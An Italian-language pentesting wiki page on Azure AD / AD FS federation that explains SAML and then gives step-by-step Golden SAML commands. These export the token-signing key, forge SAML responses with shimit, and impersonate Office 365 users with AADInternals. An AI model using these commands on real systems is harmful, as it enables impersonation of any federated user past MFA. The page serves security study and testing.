# Az - Federation

{{#include ../../../banners/hacktricks-training.md}}

## Informazioni di base

[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)

>**Federazione** è una raccolta di **domini** che hanno stabilito **fiducia**. Il livello di fiducia può variare, ma tipicamente include **autenticazione** e quasi sempre include **autorizzazione**. Una federazione tipica potrebbe includere un **numero di organizzazioni** che hanno stabilito **fiducia** per un **accesso condiviso** a un insieme di risorse.
>Puoi **federare il tuo ambiente on-premises** **con Azure AD** e utilizzare questa federazione per l'autenticazione e l'autorizzazione. Questo metodo di accesso garantisce che tutta l'**autenticazione degli utenti avvenga on-premises**. Questo metodo consente agli amministratori di implementare livelli di controllo degli accessi più rigorosi. La federazione con **AD FS** e PingFederate è disponibile.

<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>

Fondamentalmente, nella Federazione, tutta l'**autenticazione** avviene nell'ambiente **on-prem** e l'utente sperimenta SSO in tutti gli ambienti fidati. Pertanto, gli utenti possono **accedere** alle applicazioni **cloud** utilizzando le proprie **credenziali on-prem**.

**Security Assertion Markup Language (SAML)** è utilizzato per **scambiare** tutte le informazioni di autenticazione e autorizzazione tra i fornitori.

In qualsiasi configurazione di federazione ci sono tre parti:

- Utente o Client
- Identity Provider (IdP)
- Service Provider (SP)

<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>

1. Inizialmente, un'applicazione (Service Provider o SP, come la console AWS o il client web vSphere) viene accessibile da un utente. Questo passaggio potrebbe essere bypassato, portando il client direttamente all'IdP (Identity Provider) a seconda dell'implementazione specifica.
2. Successivamente, lo SP identifica l'IdP appropriato (ad es., AD FS, Okta) per l'autenticazione dell'utente. Quindi crea una SAML (Security Assertion Markup Language) AuthnRequest e reindirizza il client all'IdP scelto.
3. L'IdP prende il controllo, autenticando l'utente. Dopo l'autenticazione, una SAMLResponse viene formulata dall'IdP e inoltrata allo SP attraverso l'utente.
4. Infine, lo SP valuta la SAMLResponse. Se convalidata con successo, implicando una relazione di fiducia con l'IdP, all'utente viene concesso l'accesso. Questo segna il completamento del processo di accesso, consentendo all'utente di utilizzare il servizio.

**Se vuoi saperne di più sull'autenticazione SAML e sugli attacchi comuni vai a:**

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}

## Pivoting

- AD FS è un modello di identità basato su claims.
- "..le claims sono semplicemente dichiarazioni (ad esempio, nome, identità, gruppo), fatte sugli utenti, che vengono utilizzate principalmente per autorizzare l'accesso a applicazioni basate su claims situate ovunque su Internet."
- Le claims per un utente sono scritte all'interno dei token SAML e vengono quindi firmate per fornire riservatezza da parte dell'IdP.
- Un utente è identificato da ImmutableID. È globalmente unico e memorizzato in Azure AD.
- L'ImmutableID è memorizzato on-prem come ms-DS-ConsistencyGuid per l'utente e/o può essere derivato dal GUID dell'utente.
- Maggiori informazioni in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)

**Attacco Golden SAML:**

- In ADFS, la SAML Response è firmata da un certificato di firma del token.
- Se il certificato è compromesso, è possibile autenticarsi su Azure AD come QUALSIASI utente sincronizzato con Azure AD!
- Proprio come il nostro abuso di PTA, la modifica della password per un utente o MFA non avrà alcun effetto perché stiamo falsificando la risposta di autenticazione.
- Il certificato può essere estratto dal server AD FS con privilegi DA e poi può essere utilizzato da qualsiasi macchina connessa a Internet.
- Maggiori informazioni in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

### Golden SAML

Il processo in cui un **Identity Provider (IdP)** produce una **SAMLResponse** per autorizzare l'accesso dell'utente è fondamentale. A seconda dell'implementazione specifica dell'IdP, la **risposta** potrebbe essere **firmata** o **crittografata** utilizzando la **chiave privata dell'IdP**. Questa procedura consente al **Service Provider (SP)** di confermare l'autenticità della SAMLResponse, assicurando che sia stata effettivamente emessa da un IdP fidato.

Si può tracciare un parallelo con l'[attacco golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), dove la chiave che autentica l'identità e i permessi dell'utente (KRBTGT per i golden ticket, chiave privata di firma del token per il golden SAML) può essere manipolata per **forgiare un oggetto di autenticazione** (TGT o SAMLResponse). Questo consente l'impersonificazione di qualsiasi utente, concedendo accesso non autorizzato allo SP.

I Golden SAML offrono alcuni vantaggi:

- Possono essere **creati da remoto**, senza la necessità di far parte del dominio o della federazione in questione.
- Rimangono efficaci anche con **l'autenticazione a due fattori (2FA)** abilitata.
- La chiave privata di firma del token **non si rinnova automaticamente**.
- **Cambiare la password di un utente non invalida** un SAML già generato.

#### AWS + AD FS + Golden SAML

[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) è un servizio Microsoft che facilita il **scambio sicuro di informazioni di identità** tra partner commerciali fidati (federazione). Consente essenzialmente a un servizio di dominio di condividere identità utente con altri fornitori di servizi all'interno di una federazione.

Con AWS che si fida del dominio compromesso (in una federazione), questa vulnerabilità può essere sfruttata per **acquisire qualsiasi permesso nell'ambiente AWS**. L'attacco richiede la **chiave privata utilizzata per firmare gli oggetti SAML**, simile alla necessità del KRBTGT in un attacco golden ticket. L'accesso all'account utente AD FS è sufficiente per ottenere questa chiave privata.

I requisiti per eseguire un attacco golden SAML includono:

- **Chiave privata di firma del token**
- **Certificato pubblico dell'IdP**
- **Nome dell'IdP**
- **Nome del ruolo (ruolo da assumere)**
- Dominio\username
- Nome della sessione del ruolo in AWS
- ID account Amazon

_Solo gli elementi in grassetto sono obbligatori. Gli altri possono essere compilati a piacere._

Per acquisire la **chiave privata**, è necessario l'accesso all'**account utente AD FS**. Da lì, la chiave privata può essere **esportata dal negozio personale** utilizzando strumenti come [mimikatz](https://github.com/gentilkiwi/mimikatz). Per raccogliere le altre informazioni richieste, puoi utilizzare il modulo Microsoft.Adfs.Powershell come segue, assicurandoti di essere connesso come utente ADFS:
```bash
# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
Con tutte le informazioni, è possibile dimenticare un SAMLResponse valido come l'utente che si desidera impersonare utilizzando [**shimit**](https://github.com/cyberark/shimit)**:**
```bash
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
```
<figure><img src="../../../../images/image (128).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>

### On-prem -> cloud
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
È anche possibile creare ImmutableID di utenti solo cloud e impersonarli.
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
```
## Riferimenti

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

{{#include ../../../banners/hacktricks-training.md}}
